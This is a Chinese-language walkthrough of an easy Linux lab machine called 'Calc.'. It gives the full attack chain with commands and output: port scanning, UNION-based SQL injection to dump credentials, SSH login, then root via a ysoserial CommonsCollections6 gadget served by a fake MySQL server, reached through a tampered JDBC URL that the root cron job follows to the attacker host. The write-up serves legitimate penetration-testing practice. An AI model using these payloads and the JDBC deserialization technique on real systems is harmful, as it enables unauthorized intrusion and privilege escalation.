

Calc.

靶机ID: 633

名称: Calc.

作者: kaada (QQ: 3391510372)

难度: Easy | 系统: Linux

信息收集

22 ssh

80 apache

```
8080 java http
```

```
(root@kali)~# ./rustscan -a 192.168.44.239
```



```
The Modern Day Port Scanner.
```

```
-- --  
: http://discord.skerritt.blog :  
: https://github.com/RustScan/RustScan :  
-- --
```

```
Port scanning: Because every port has a story to tell.
```

```
[~] The config file is expected to be at "/root/.rustscan.toml"  
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers  
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.  
Open 192.168.44.239:22  
Open 192.168.44.239:80  
Open 192.168.44.239:8080  
[~] Starting Script(s)  
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-14 01:02 EDT  
Initiating ARP Ping Scan at 01:02  
Scanning 192.168.44.239 [1 port]  
Completed ARP Ping Scan at 01:02, 0.05s elapsed (1 total hosts)  
Initiating Parallel DNS resolution of 1 host. at 01:02  
Completed Parallel DNS resolution of 1 host. at 01:02, 0.02s elapsed  
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]  
Initiating SYN Stealth Scan at 01:02  
Scanning 192.168.44.239 [3 ports]  
Discovered open port 22/tcp on 192.168.44.239  
Discovered open port 80/tcp on 192.168.44.239  
Discovered open port 8080/tcp on 192.168.44.239  
Completed SYN Stealth Scan at 01:02, 0.02s elapsed (3 total ports)  
Nmap scan report for 192.168.44.239  
Host is up, received arp-response (0.00030s latency).  
Scanned at 2026-04-14 01:02:07 EDT for 0s
```

80端口探测

sql的感觉，查询id

CALC. SYSTEM

"All of answers I calculated, entailing sacrifices one by one..."

Enter Track ID to synchronize memories:

e.g., 1

Calculate Destiny

sql注入

```
-1%20union%20select%201,2,3
```

CALC. SYSTEM

"All of answers I calculated, entailing sacrifices one by one..."

Enter Track ID to synchronize memories:

`-1%20union%20select%201,2,3|`

Calculate Destiny

Track: 2 - Lyric: 3

```
-1%20union%20select%201,concat(username,0x3a,password),3%20from%20webapp_users
```

CALC. SYSTEM

"All of answers I calculated, entailing sacrifices one by one..."

Enter Track ID to synchronize memories:

`-1%20union%20select%201,concat(username,0x3;`

Calculate Destiny

Track: Jimmy:JimmyThumb_Calc_2010 - Lyric: 3

Jimmy/JimmyThumb_Calc_2010

信息再收集

```
(root@kali)-[~]
# ssh Jimmy@192.168.44.239
Jimmy@192.168.44.239's password:
Linux calc 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Apr 13 23:35:42 2026 from 192.168.44.128
-bash-5.0$ id
uid=1000(Jimmy) gid=1000(Jimmy) groups=1000(Jimmy)
-bash-5.0$ ls
TODO.txt  user.txt
-bash-5.0$ cat user.txt
flag{2f3ca14d6753f790ee1a9e5b826c65e3}
-bash-5.0$ cat TODO.txt
1. Migrate Tomcat to port 80 (Currently on 8080 via reverse proxy).
2. Secure local database credentials (calc_user : vocaloid_miku_01).
3. Fix backend_sync.jar reading system_config in cron. Do not change 700 permissions on the jar!
-bash-5.0$ █
```

提示

1. 反向代理 8080→80
2. 本地数据库凭据未加固: calc_user : vocaloid_miku_01
3. backend_sync.jar 会从 system_config 里读配置, cron 在跑

root cron

```
-bash-5.0$ ls -la /etc/cron.d/calc_sync
-rw-r--r-- 1 root root 72 Apr  5 05:59 /etc/cron.d/calc_sync
-bash-5.0$ cat /etc/cron.d/calc_sync
* * * * * root /usr/bin/java -jar /opt/backend_sync.jar >/dev/null 2>&1
-bash-5.0$
```

```
/usr/bin/java -jar /opt/backend_sync.jar
```

backend_sync.jar

com/sync/SyncTask.java



```
String string = "jdbc:mysql://127.0.0.1:3306/calc_db?useSSL=false";
Connection connection = DriverManager.getConnection(string, "calc_user",
"vocaloid_miku_01");
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery("SELECT jdbc_url FROM
system_config WHERE config_name='master_sync_node'");
if (resultSet.next()) {
    String string2 = resultSet.getString("jdbc_url");
    Connection connection2 = DriverManager.getConnection(string2);
    connection2.close();
}
```

它会先用固定账号连接本地数据库
而这个账号只要有对 **calc_db** 有写权限，就可以低权限到高权限过渡

它会把数据库里的 **jdbc_url** 当成可信配置再连接一次
也就是说，只要能改数据库字段，就能控制 **root** 进程去连接指定的JDBC目标。

sql权限验证

```
-bash-5.0$ mysql -u calc_user -pvocaloid_miku_01
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 68
Server version: 10.5.29-MariaDB-0+deb11u1 Debian 11

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> SHOW GRANTS FOR 'calc_user'@'localhost';
+-----+
| Grants for calc_user@localhost |
+-----+
| GRANT USAGE ON *.* TO `calc_user`@`localhost` IDENTIFIED BY PASSWORD '*A0C2320FD0BD3DC42DA0475FB9CBAB87BF46D5A2' |
| GRANT ALL PRIVILEGES ON `calc_db`.* TO `calc_user`@`localhost` |
+-----+
2 rows in set (0.014 sec)

MariaDB [(none)]> █
```

可控JDBCURL → fakeMySQL → RCE

提权部分

生成gadget

```
/root/jre8u412-full/bin/java -jar /root/ysoserial-all.jar CommonsCollections6
"chmod u+s /bin/bash" > /root/gadget.bin
```

启动 Fake MySQL Server

```
CP="$(cat /root/mysql-fake-server-java/fake-mysql-cli/cp.txt):/root/mysql-fake-server-java/fake-mysql-cli/target/classes"
nohup /root/jre8u412-full/bin/java -cp "$CP" me.n1ar4.fake.cli.Cli -p 3306 -f
/root/gadget.bin >/root/mysql_fake_custom.log 2>&1 &
```

用Jimmy修改JDBC URL

```
mysql -u calc_user -pvocaloid_miku_01 -D calc_db -e "UPDATE system_config SET
jdbc_url='jdbc:mysql://192.168.44.128:3306/test?
autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerS
tatusDiffInterceptor&user=deser_CUSTOM&password=x&maxAllowedPacket=655360'
WHERE config_name='master_sync_node';"
```

然后就是等待触发root cron就好了

```
-bash-5.0$ /bin/bash -p
bash-5.0# id
uid=1000(Jimmy) gid=1000(Jimmy) euid=0(root) groups=1000(Jimmy)
bash-5.0# cat /root/root.txt
flag{4a94a742554abf511c6acd51b2aff7e8}
bash-5.0# █
```